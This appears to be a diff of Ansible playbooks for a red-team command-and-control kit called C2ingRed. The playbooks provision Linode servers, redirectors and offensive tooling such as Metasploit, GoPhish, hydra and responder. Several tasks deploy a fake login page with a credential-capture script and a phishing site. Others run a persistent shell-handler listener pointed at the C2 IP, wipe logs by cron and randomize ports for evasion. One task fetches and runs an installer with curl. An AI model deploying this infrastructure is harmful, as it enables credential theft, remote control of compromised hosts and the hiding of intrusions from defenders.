||||
template:
|
||||
src: "../templates/phishing/capture.php.j2"
|
||||
dest: "/var/www/phishing/capture.php"
|
||||
mode: '0640'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Configure NGINX for phishing sites
|
||||
template:
|
||||
src: "../templates/phishing/nginx-phishing-webserver.j2"
|
||||
dest: /etc/nginx/sites-available/phishing
|
||||
mode: '0644'
|
||||
|
||||
- name: Enable phishing site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/phishing
|
||||
dest: /etc/nginx/sites-enabled/phishing
|
||||
state: link
|
||||
|
||||
- name: Remove default nginx site
|
||||
file:
|
||||
path: /etc/nginx/sites-enabled/default
|
||||
state: absent
|
||||
|
||||
- name: Configure PHP-FPM for security
|
||||
lineinfile:
|
||||
path: /etc/php/7.4/fpm/php.ini
|
||||
regexp: "{{ item.regexp }}"
|
||||
line: "{{ item.line }}"
|
||||
loop:
|
||||
- { regexp: '^expose_php', line: 'expose_php = Off' }
|
||||
- { regexp: '^display_errors', line: 'display_errors = Off' }
|
||||
- { regexp: '^log_errors', line: 'log_errors = On' }
|
||||
|
||||
- name: Restart services
|
||||
systemd:
|
||||
name: "{{ item }}"
|
||||
state: restarted
|
||||
enabled: yes
|
||||
loop:
|
||||
- nginx
|
||||
- php7.4-fpm
|
||||
@@ -0,0 +1,457 @@
|
||||
---
|
||||
# Common task for configuring redirector with full encryption
|
||||
# Shared across all providers
|
||||
|
||||
- name: Set a custom MOTD
|
||||
template:
|
||||
src: "../templates/motd-redirector.j2"
|
||||
dest: /etc/motd
|
||||
owner: root
|
||||
group: root
|
||||
mode: '0644'
|
||||
|
||||
- name: Update package cache with retries
|
||||
apt:
|
||||
update_cache: yes
|
||||
cache_valid_time: 0
|
||||
register: cache_update
|
||||
until: cache_update is success
|
||||
retries: 5
|
||||
delay: 10
|
||||
ignore_errors: no
|
||||
|
||||
- name: Install core packages first (high priority)
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- nginx-extras
|
||||
- socat
|
||||
- jq
|
||||
- secure-delete
|
||||
state: present
|
||||
update_cache: no
|
||||
register: core_packages
|
||||
until: core_packages is success
|
||||
retries: 3
|
||||
delay: 5
|
||||
|
||||
- name: Install network utilities with fallbacks
|
||||
block:
|
||||
- name: Try to install net-tools
|
||||
apt:
|
||||
name: net-tools
|
||||
state: present
|
||||
update_cache: no
|
||||
register: net_tools_install
|
||||
|
||||
rescue:
|
||||
- name: Install alternative network utilities
|
||||
apt:
|
||||
name:
|
||||
- iproute2
|
||||
- iputils-ping
|
||||
- netcat-openbsd
|
||||
state: present
|
||||
update_cache: no
|
||||
register: alt_network_tools
|
||||
|
||||
- name: Create net-tools compatibility aliases
|
||||
copy:
|
||||
dest: /usr/local/bin/netstat
|
||||
content: |
|
||||
#!/bin/bash
|
||||
# Compatibility wrapper for netstat using ss
|
||||
ss "$@"
|
||||
mode: '0755'
|
||||
when: alt_network_tools is success
|
||||
|
||||
- name: Install PHP-FPM with version handling
|
||||
block:
|
||||
- name: Install PHP-FPM (latest available)
|
||||
apt:
|
||||
name: php-fpm
|
||||
state: present
|
||||
update_cache: no
|
||||
register: php_install
|
||||
|
||||
rescue:
|
||||
- name: Install specific PHP version as fallback
|
||||
apt:
|
||||
name:
|
||||
- php7.4-fpm
|
||||
- php7.4-cli
|
||||
state: present
|
||||
update_cache: no
|
||||
register: php_fallback
|
||||
|
||||
- name: Install certbot with dependency handling
|
||||
block:
|
||||
- name: Install certbot and nginx plugin
|
||||
apt:
|
||||
name:
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
state: present
|
||||
update_cache: no
|
||||
register: certbot_install
|
||||
|
||||
rescue:
|
||||
- name: Install certbot without problematic dependencies
|
||||
shell: |
|
||||
apt-get install -y --no-install-recommends certbot
|
||||
apt-get install -y --fix-broken || true
|
||||
register: certbot_manual
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Install certbot via snap as ultimate fallback
|
||||
block:
|
||||
- name: Install snap if not present
|
||||
apt:
|
||||
name: snapd
|
||||
state: present
|
||||
|
||||
- name: Install certbot via snap
|
||||
snap:
|
||||
name: certbot
|
||||
classic: yes
|
||||
|
||||
- name: Create certbot symlink
|
||||
file:
|
||||
src: /snap/bin/certbot
|
||||
dest: /usr/bin/certbot
|
||||
state: link
|
||||
when: certbot_manual is failed
|
||||
|
||||
- name: Handle problematic Python dependencies
|
||||
block:
|
||||
- name: Try installing Python dependencies normally
|
||||
apt:
|
||||
name:
|
||||
- python3-requests-toolbelt
|
||||
- python3-zope.hookable
|
||||
state: present
|
||||
update_cache: no
|
||||
register: python_deps
|
||||
|
||||
rescue:
|
||||
- name: Install Python dependencies via pip as fallback
|
||||
pip:
|
||||
name:
|
||||
- requests-toolbelt
|
||||
- zope.hookable
|
||||
state: present
|
||||
register: pip_install
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Download and install packages manually if repositories are down
|
||||
shell: |
|
||||
cd /tmp
|
||||
# Try alternative repositories
|
||||
wget -q http://archive.ubuntu.com/ubuntu/pool/universe/p/python-requests-toolbelt/python3-requests-toolbelt_0.8.0-1.1_all.deb || \
|
||||
wget -q http://launchpad.net/ubuntu/+archive/primary/+files/python3-requests-toolbelt_0.8.0-1.1_all.deb || true
|
||||
|
||||
if [ -f python3-requests-toolbelt_*.deb ]; then
|
||||
dpkg -i python3-requests-toolbelt_*.deb || apt-get install -f -y
|
||||
fi
|
||||
when: pip_install is failed
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Verify critical packages are installed
|
||||
command: "{{ item.cmd }}"
|
||||
register: package_verify
|
||||
failed_when: package_verify.rc != 0
|
||||
loop:
|
||||
- { cmd: "nginx -v", name: "nginx" }
|
||||
- { cmd: "socat -V", name: "socat" }
|
||||
- { cmd: "jq --version", name: "jq" }
|
||||
- { cmd: "which certbot", name: "certbot" }
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Create package installation report
|
||||
debug:
|
||||
msg: |
|
||||
C2ingRed Package Installation Status:
|
||||
===================================
|
||||
Core Packages: {{ 'SUCCESS' if core_packages is success else 'FAILED' }}
|
||||
Network Tools: {{ 'SUCCESS' if net_tools_install is success else 'FALLBACK USED' }}
|
||||
PHP-FPM: {{ 'SUCCESS' if php_install is success else 'FALLBACK USED' if php_fallback is success else 'FAILED' }}
|
||||
Certbot: {{ 'SUCCESS' if certbot_install is success else 'FALLBACK USED' }}
|
||||
Python Deps: {{ 'SUCCESS' if python_deps is success else 'FALLBACK ATTEMPTED' }}
|
||||
|
||||
Critical Services Verified:
|
||||
{% for item in package_verify.results %}
|
||||
- {{ item.item.name }}: {{ 'OK' if item.rc == 0 else 'MISSING' }}
|
||||
{% endfor %}
|
||||
|
||||
- name: Force fix broken packages if any installation failed
|
||||
shell: |
|
||||
apt-get update --fix-missing
|
||||
apt-get install -f -y
|
||||
dpkg --configure -a
|
||||
when: core_packages is failed or certbot_install is failed
|
||||
register: fix_broken
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Final package status check and remediation
|
||||
block:
|
||||
- name: Check for any remaining broken packages
|
||||
shell: apt-get check
|
||||
register: apt_check
|
||||
failed_when: false
|
||||
|
||||
- name: List installed packages for verification
|
||||
shell: |
|
||||
echo "=== INSTALLED PACKAGES ==="
|
||||
dpkg -l | grep -E "(nginx|certbot|socat|jq|php)" || echo "Some packages missing"
|
||||
echo "=== BROKEN PACKAGES ==="
|
||||
apt-get check 2>&1 | grep -i "broken\|error" || echo "No broken packages detected"
|
||||
register: final_status
|
||||
|
||||
- name: Display final installation status
|
||||
debug:
|
||||
var: final_status.stdout_lines
|
||||
|
||||
- name: Ensure critical services are enabled
|
||||
systemd:
|
||||
name: "{{ item }}"
|
||||
enabled: yes
|
||||
state: started
|
||||
loop:
|
||||
- nginx
|
||||
- php7.4-fpm
|
||||
ignore_errors: yes
|
||||
register: service_start
|
||||
|
||||
- name: Create operational readiness marker
|
||||
copy:
|
||||
dest: /tmp/c2ingred_packages_ready
|
||||
content: |
|
||||
C2ingRed Package Installation Complete
|
||||
Timestamp: {{ ansible_date_time.iso8601 }}
|
||||
Status: {{ 'READY' if core_packages is success else 'PARTIAL' }}
|
||||
mode: '0644'
|
||||
|
||||
- name: Create directories for operational scripts
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /root/Tools
|
||||
- /root/Tools/shell-handler
|
||||
|
||||
- name: Copy clean-logs.sh script
|
||||
copy:
|
||||
src: "../files/clean-logs.sh"
|
||||
dest: /root/Tools/clean-logs.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy redirector post-install script
|
||||
copy:
|
||||
src: "../files/post_install_redirector.sh"
|
||||
dest: "/root/Tools/post_install_redirector.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy port randomization script
|
||||
copy:
|
||||
src: "../files/randomize_ports.sh"
|
||||
dest: "/root/Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create redirector post-install instructions
|
||||
copy:
|
||||
content: |
|
||||
================================================================
|
||||
C2ingRed Redirector Post-Installation Instructions
|
||||
================================================================
|
||||
|
||||
To complete your setup with SSL certificates, run:
|
||||
/root/Tools/post_install_redirector.sh
|
||||
|
||||
This script will guide you through:
|
||||
- Setting up Let's Encrypt certificates
|
||||
- Starting required services
|
||||
- Updating NGINX configuration
|
||||
|
||||
For enhanced OPSEC, you can also randomize ports:
|
||||
/root/Tools/randomize_ports.sh
|
||||
|
||||
Run these after you've configured your DNS records to point to this server.
|
||||
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Copy shell handler script
|
||||
copy:
|
||||
src: "../files/havoc_shell_handler.sh"
|
||||
dest: /root/Tools/shell-handler/persistent-listener.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure shell handler script with C2 IP
|
||||
replace:
|
||||
path: /root/Tools/shell-handler/persistent-listener.sh
|
||||
regexp: 'C2_HOST="127.0.0.1"'
|
||||
replace: 'C2_HOST="{{ c2_ip }}"'
|
||||
|
||||
- name: Configure shell handler script with listening port
|
||||
template:
|
||||
src: "../files/havoc_shell_handler.sh"
|
||||
dest: "/root/Tools/shell_handler.sh"
|
||||
mode: 0755
|
||||
vars:
|
||||
listen_port: "{{ shell_handler_port | default(8083) }}"
|
||||
|
||||
- name: Create shell handler service
|
||||
template:
|
||||
src: "../templates/shell-handler.service.j2"
|
||||
dest: /etc/systemd/system/shell-handler.service
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure NGINX for zero-logging if enabled
|
||||
template:
|
||||
src: "../templates/nginx.conf.j2"
|
||||
dest: /etc/nginx/nginx.conf
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
when: zero_logs | bool
|
||||
|
||||
- name: Create payload directory
|
||||
file:
|
||||
path: /var/www/resources
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Include traffic flow configuration
|
||||
include_tasks: "../tasks/traffic_flow_config.yml"
|
||||
|
||||
# Run port randomization if enabled
|
||||
- name: Run port randomization if enabled
|
||||
include_tasks: port_randomization.yml
|
||||
when: randomize_ports | default(true) | bool
|
||||
|
||||
# Add just before configuring NGINX
|
||||
- name: Check if snakeoil certificates exist
|
||||
stat:
|
||||
path: /etc/ssl/certs/ssl-cert-snakeoil.pem
|
||||
register: snakeoil_cert
|
||||
|
||||
- name: Generate self-signed certificates if snakeoil not available
|
||||
block:
|
||||
- name: Create directory for self-signed certificates
|
||||
file:
|
||||
path: /etc/nginx/conf.d
|
||||
state: directory
|
||||
mode: '0755'
|
||||
|
||||
- name: Generate self-signed certificate
|
||||
shell: |
|
||||
openssl req -x509 -nodes -days 3650 -newkey rsa:2048 \
|
||||
-keyout /etc/nginx/conf.d/selfsigned.key \
|
||||
-out /etc/nginx/conf.d/selfsigned.crt \
|
||||
-subj "/C=US/ST=State/L=City/O=Organization/CN=localhost"
|
||||
args:
|
||||
creates: /etc/nginx/conf.d/selfsigned.crt
|
||||
when: not snakeoil_cert.stat.exists
|
||||
|
||||
# Configure nginx for dual HTTP/HTTPS with complete encryption
|
||||
- name: Configure NGINX for secure C2 redirection
|
||||
template:
|
||||
src: "../templates/redirector-site.conf.j2"
|
||||
dest: /etc/nginx/sites-available/default
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create legitimate-looking index.html
|
||||
template:
|
||||
src: "../templates/redirector-index.html.j2"
|
||||
dest: /var/www/html/index.html
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Create SSL certificate setup instructions
|
||||
template:
|
||||
src: "../templates/setup-cert.sh.j2"
|
||||
dest: /root/Tools/setup-cert.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure NGINX stream module for TCP traffic
|
||||
template:
|
||||
src: "../templates/stream.conf.j2"
|
||||
dest: /etc/nginx/modules-enabled/stream.conf
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create credential harvesting directory
|
||||
file:
|
||||
path: /var/www/login
|
||||
state: directory
|
||||
mode: '0755'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
# Create secure storage outside web root
|
||||
- name: Create secure credential storage
|
||||
file:
|
||||
path: /var/private/creds
|
||||
state: directory
|
||||
mode: '0700' # Only owner access
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Deploy credential harvesting page
|
||||
template:
|
||||
src: "../templates/fake-login.html.j2"
|
||||
dest: "/var/www/login/auth.html"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Deploy credential capture script
|
||||
template:
|
||||
src: "../templates/capture.php.j2"
|
||||
dest: "/var/www/login/process.php"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Install PHP for credential processing
|
||||
apt:
|
||||
name: php-fpm
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Start and enable shell handler service
|
||||
systemd:
|
||||
name: shell-handler
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
|
||||
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||
cron:
|
||||
name: "Clean logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs | bool
|
||||
@@ -0,0 +1,85 @@
|
||||
---
|
||||
# Linode/initial-infrastructure.yml
|
||||
# This playbook only creates the Linode instances without trying to configure them
|
||||
# This separation makes the deployment more reliable
|
||||
|
||||
- name: Create Linode infrastructure
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
# Default values if not provided
|
||||
ssh_user: "{{ ssh_user | default('root') }}"
|
||||
linode_region: "{{ linode_region | default(region_choices | random) }}"
|
||||
plan: "{{ plan | default('g6-standard-2') }}"
|
||||
image: "{{ image | default('linode/kali') }}"
|
||||
|
||||
# Determine what to deploy based on configuration
|
||||
deploy_redirector: "{{ not (c2_only | default(false)) }}"
|
||||
deploy_c2: "{{ not (redirector_only | default(false)) }}"
|
||||
|
||||
# Generate random names if not provided
|
||||
redirector_name: "{{ redirector_name | default('srv-' + 100000000 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
|
||||
c2_name: "{{ c2_name | default('node-' + 100000000 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
|
||||
|
||||
tasks:
|
||||
- name: Validate required Linode token
|
||||
assert:
|
||||
that:
|
||||
- linode_token is defined and linode_token != ""
|
||||
fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
|
||||
|
||||
- name: Create redirector Linode instance
|
||||
community.general.linode_v4:
|
||||
access_token: "{{ linode_token }}"
|
||||
label: "{{ redirector_name }}"
|
||||
type: "{{ plan }}"
|
||||
region: "{{ linode_region }}"
|
||||
image: "{{ image }}"
|
||||
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
|
||||
authorized_keys:
|
||||
- "{{ lookup('file', ssh_key_path) }}"
|
||||
state: present
|
||||
register: redirector_instance
|
||||
when: deploy_redirector
|
||||
|
||||
- name: Set redirector_ip for later use
|
||||
set_fact:
|
||||
redirector_instance_id: "{{ redirector_instance.instance.id }}"
|
||||
redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
|
||||
when: deploy_redirector and redirector_instance is defined
|
||||
|
||||
- name: Create C2 Linode instance
|
||||
community.general.linode_v4:
|
||||
access_token: "{{ linode_token }}"
|
||||
label: "{{ c2_name }}"
|
||||
type: "{{ plan }}"
|
||||
region: "{{ linode_region }}"
|
||||
image: "{{ image }}"
|
||||
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
|
||||
authorized_keys:
|
||||
- "{{ lookup('file', ssh_key_path) }}"
|
||||
state: present
|
||||
register: c2_instance
|
||||
when: deploy_c2
|
||||
|
||||
- name: Set c2_ip for later use
|
||||
set_fact:
|
||||
c2_instance_id: "{{ c2_instance.instance.id }}"
|
||||
c2_ip: "{{ c2_instance.instance.ipv4[0] }}"
|
||||
when: deploy_c2 and c2_instance is defined
|
||||
|
||||
- name: Display instance information
|
||||
debug:
|
||||
msg:
|
||||
- "Linode instances created successfully!"
|
||||
- "Waiting for instances to initialize..."
|
||||
- "{{ 'Redirector IP: ' + redirector_ip if redirector_ip is defined else 'No redirector deployed' }}"
|
||||
- "{{ 'C2 Server IP: ' + c2_ip if c2_ip is defined else 'No C2 server deployed' }}"
|
||||
|
||||
- name: Wait for instances to initialize (30 seconds)
|
||||
pause:
|
||||
seconds: 30
|
||||
when: (deploy_redirector and redirector_instance is defined) or (deploy_c2 and c2_instance is defined)
|
||||
@@ -0,0 +1,179 @@
|
||||
---
|
||||
# Common task for installing offensive security tools
|
||||
# Shared across all providers
|
||||
|
||||
- name: Force tools directory to root regardless of user
|
||||
set_fact:
|
||||
home_dir: "/root"
|
||||
tools_dir: "/root/Tools"
|
||||
when: provider == "aws"
|
||||
|
||||
- name: Determine home directory path
|
||||
set_fact:
|
||||
home_dir: "{{ (ansible_user == 'root') | ternary('/root', '/home/' + ansible_user) }}"
|
||||
tools_dir: "{{ (ansible_user == 'root') | ternary('/root/Tools', '/home/' + ansible_user + '/Tools') }}"
|
||||
|
||||
- name: Create Tools directory
|
||||
file:
|
||||
path: "{{ tools_dir }}"
|
||||
state: directory
|
||||
owner: "{{ ansible_user }}"
|
||||
group: "{{ ansible_user }}"
|
||||
mode: '0755'
|
||||
|
||||
- name: Install base dependencies
|
||||
apt:
|
||||
name:
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- pipx
|
||||
- curl
|
||||
- wget
|
||||
- git
|
||||
- jq
|
||||
- unzip
|
||||
- tmux
|
||||
state: present
|
||||
update_cache: yes
|
||||
|
||||
- name: Check if pipx is installed
|
||||
command: which pipx
|
||||
register: pipx_check
|
||||
ignore_errors: true
|
||||
changed_when: false
|
||||
|
||||
- name: Configure pipx path
|
||||
shell: |
|
||||
export PATH="$PATH:{{ home_dir }}/.local/bin"
|
||||
pipx ensurepath
|
||||
args:
|
||||
executable: /bin/bash
|
||||
register: pipx_path_result
|
||||
until: pipx_path_result is success
|
||||
retries: 3
|
||||
delay: 5
|
||||
when: pipx_check.rc == 0
|
||||
|
||||
- name: Set PATH for subsequent operations
|
||||
set_fact:
|
||||
custom_path: "{{ home_dir }}/.local/bin:{{ ansible_env.PATH }}"
|
||||
|
||||
- name: Install tools via pipx
|
||||
shell: |
|
||||
export PATH="{{ custom_path }}"
|
||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||
pipx install git+https://github.com/blacklanternsecurity/TREVORspray
|
||||
pipx install impacket
|
||||
environment:
|
||||
PATH: "{{ custom_path }}"
|
||||
register: pipx_install_result
|
||||
until: pipx_install_result is success
|
||||
retries: 3
|
||||
delay: 5
|
||||
|
||||
- name: Install offensive security tools
|
||||
apt:
|
||||
name:
|
||||
- nmap
|
||||
- tcpdump
|
||||
- hydra
|
||||
- john
|
||||
- hashcat
|
||||
- sqlmap
|
||||
- gobuster
|
||||
- dirb
|
||||
- enum4linux
|
||||
- dnsenum
|
||||
- seclists
|
||||
- responder
|
||||
- golang
|
||||
- proxychains
|
||||
- tor
|
||||
- crackmapexec
|
||||
state: present
|
||||
|
||||
- name: Download Kerbrute
|
||||
shell: |
|
||||
mkdir -p {{ tools_dir }}/Kerbrute
|
||||
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O {{ tools_dir }}/Kerbrute/kerbrute
|
||||
chmod +x {{ tools_dir }}/Kerbrute/kerbrute
|
||||
args:
|
||||
executable: /bin/bash
|
||||
creates: "{{ tools_dir }}/Kerbrute/kerbrute"
|
||||
|
||||
- name: Clone SharpCollection nightly builds
|
||||
git:
|
||||
repo: https://github.com/Flangvik/SharpCollection.git
|
||||
dest: "{{ tools_dir }}/SharpCollection"
|
||||
version: master
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Clone PEASS-ng
|
||||
git:
|
||||
repo: https://github.com/carlospolop/PEASS-ng.git
|
||||
dest: "{{ tools_dir }}/PEASS-ng"
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Clone MailSniper
|
||||
git:
|
||||
repo: https://github.com/dafthack/MailSniper.git
|
||||
dest: "{{ tools_dir }}/MailSniper"
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Clone Inveigh
|
||||
git:
|
||||
repo: https://github.com/Kevin-Robertson/Inveigh.git
|
||||
dest: "{{ tools_dir }}/Inveigh"
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Install Metasploit Framework (Nightly Build)
|
||||
shell: |
|
||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
|
||||
chmod 755 /tmp/msfinstall
|
||||
/tmp/msfinstall
|
||||
rm -f /tmp/msfinstall
|
||||
args:
|
||||
executable: /bin/bash
|
||||
creates: /usr/bin/msfconsole
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Ensure GoPhish directory exists
|
||||
file:
|
||||
path: "{{ tools_dir }}/gophish"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
|
||||
- name: Grab GoPhish latest release
|
||||
shell: |
|
||||
curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url'
|
||||
register: gophish_url
|
||||
failed_when: gophish_url.stdout == ""
|
||||
changed_when: false
|
||||
|
||||
- name: Download and install GoPhish
|
||||
shell: |
|
||||
curl -L "{{ gophish_url.stdout }}" -o {{ tools_dir }}/gophish.zip
|
||||
unzip {{ tools_dir }}/gophish.zip -d {{ tools_dir }}/gophish
|
||||
rm -f {{ tools_dir }}/gophish.zip
|
||||
chmod +x {{ tools_dir }}/gophish/gophish
|
||||
args:
|
||||
creates: "{{ tools_dir }}/gophish/gophish"
|
||||
|
||||
- name: Deploy Gophish config.json with custom admin port
|
||||
template:
|
||||
src: "../templates/gophish-config.j2"
|
||||
dest: "{{ tools_dir }}/gophish/config.json"
|
||||
owner: "{{ ansible_user }}"
|
||||
group: "{{ ansible_user }}"
|
||||
mode: '0644'
|
||||
vars:
|
||||
gophish_admin_port: "8090"
|
||||
domain: "{{ domain }}"
|
||||
|
||||
- name: Set proper ownership for Tools directory
|
||||
file:
|
||||
path: "{{ tools_dir }}"
|
||||
owner: "{{ ansible_user }}"
|
||||
group: "{{ ansible_user }}"
|
||||
recurse: true
|
||||
mode: '0755'
|
||||
@@ -0,0 +1,92 @@
|
||||
---
|
||||
# tasks/port_randomization.yml
|
||||
# Task file to randomize ports for C2 infrastructure with improved host-based service management
|
||||
|
||||
- name: Create port randomization script
|
||||
copy:
|
||||
src: "../files/randomize_ports.sh"
|
||||
dest: "/root/Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Execute port randomization script
|
||||
shell: |
|
||||
cd /root/Tools && ./randomize_ports.sh
|
||||
register: randomize_result
|
||||
when: randomize_ports | default(true) | bool
|
||||
|
||||
- name: Display port randomization results
|
||||
debug:
|
||||
msg: "{{ randomize_result.stdout_lines }}"
|
||||
when: randomize_ports | default(true) | bool
|
||||
|
||||
- name: Store randomized ports in variables
|
||||
shell: |
|
||||
PORT_CONFIG="/root/Tools/port_config.json"
|
||||
if [ -f "$PORT_CONFIG" ]; then
|
||||
cat "$PORT_CONFIG"
|
||||
else
|
||||
echo '{"error": "Port configuration not found"}'
|
||||
fi
|
||||
register: port_config_result
|
||||
when: randomize_ports | default(true) | bool
|
||||
|
||||
- name: Set port fact variables
|
||||
set_fact:
|
||||
randomized_http_port: "{{ (port_config_result.stdout | from_json).http_c2_port | default(8888) }}"
|
||||
randomized_https_port: "{{ (port_config_result.stdout | from_json).https_c2_port | default(443) }}"
|
||||
randomized_mtls_port: "{{ (port_config_result.stdout | from_json).mtls_c2_port | default(31337) }}"
|
||||
randomized_shell_handler_port: "{{ (port_config_result.stdout | from_json).shell_handler_port | default(shell_handler_port) }}"
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||
|
||||
- name: Update shell handler configuration with randomized port
|
||||
replace:
|
||||
path: "/root/Tools/shell-handler/persistent-listener.sh"
|
||||
regexp: "LISTEN_PORT=.*"
|
||||
replace: "LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||
|
||||
- name: Update shell handler service with randomized port
|
||||
lineinfile:
|
||||
path: "/etc/systemd/system/shell-handler.service"
|
||||
regexp: 'Environment="LISTEN_PORT='
|
||||
line: 'Environment="LISTEN_PORT={{ randomized_shell_handler_port | default(shell_handler_port) }}"'
|
||||
insertafter: '^\\[Service\\]'
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||
|
||||
# Improved service management - checks for service existence before restarting
|
||||
- name: Determine services to restart based on host type
|
||||
set_fact:
|
||||
services_to_restart: []
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||
|
||||
- name: Check if Havoc service exists
|
||||
stat:
|
||||
path: "/etc/systemd/system/havoc.service"
|
||||
register: havoc_service_stat
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||
|
||||
- name: Add Havoc to services list if it exists
|
||||
set_fact:
|
||||
services_to_restart: "{{ services_to_restart + ['havoc'] }}"
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and havoc_service_stat.stat.exists | default(false)
|
||||
|
||||
- name: Check if shell-handler service exists
|
||||
stat:
|
||||
path: "/etc/systemd/system/shell-handler.service"
|
||||
register: shell_handler_service_stat
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0
|
||||
|
||||
- name: Add shell-handler to services list if it exists
|
||||
set_fact:
|
||||
services_to_restart: "{{ services_to_restart + ['shell-handler'] }}"
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and shell_handler_service_stat.stat.exists | default(false)
|
||||
|
||||
- name: Reload and restart services
|
||||
systemd:
|
||||
daemon_reload: yes
|
||||
name: "{{ item }}"
|
||||
state: restarted
|
||||
with_items: "{{ services_to_restart }}"
|
||||
when: randomize_ports | default(true) | bool and port_config_result.rc == 0 and services_to_restart | length > 0
|
||||
@@ -0,0 +1,402 @@
|
||||
---
|
||||
# Security hardening tasks for C2 server - Fixed AWS collection issues
|
||||
|
||||
- name: Check if system is updated
|
||||
apt:
|
||||
update_cache: yes
|
||||
register: apt_update_result
|
||||
until: apt_update_result is success
|
||||
retries: 5
|
||||
delay: 5
|
||||
|
||||
- name: Install security packages (non-UFW)
|
||||
apt:
|
||||
name:
|
||||
- fail2ban
|
||||
- unattended-upgrades
|
||||
- debsums
|
||||
- aide
|
||||
- rkhunter
|
||||
- logrotate
|
||||
state: present
|
||||
register: package_install
|
||||
until: package_install is success
|
||||
retries: 3
|
||||
delay: 5
|
||||
|
||||
# Provider and role detection - DRY principle
|
||||
- name: Determine deployment configuration
|
||||
set_fact:
|
||||
is_aws_provider: "{{ provider | default('unknown') == 'aws' }}"
|
||||
is_c2_server: "{{ 'c2servers' in group_names }}"
|
||||
is_redirector: "{{ 'redirectors' in group_names }}"
|
||||
|
||||
# UFW Configuration Block - Non-AWS only
|
||||
- name: UFW detection and installation block
|
||||
block:
|
||||
- name: Check if UFW is installed
|
||||
command: which ufw
|
||||
register: ufw_check
|
||||
failed_when: false
|
||||
changed_when: false
|
||||
|
||||
- name: Install UFW if not present (non-AWS)
|
||||
apt:
|
||||
name: ufw
|
||||
state: present
|
||||
update_cache: yes
|
||||
register: ufw_install
|
||||
until: ufw_install is success
|
||||
retries: 3
|
||||
delay: 5
|
||||
when: ufw_check.rc != 0
|
||||
when: not is_aws_provider
|
||||
|
||||
- name: Configure UFW for non-AWS deployments
|
||||
block:
|
||||
- name: Configure UFW default policies
|
||||
community.general.ufw:
|
||||
state: enabled
|
||||
policy: deny
|
||||
direction: incoming
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Configure UFW for C2 server
|
||||
block:
|
||||
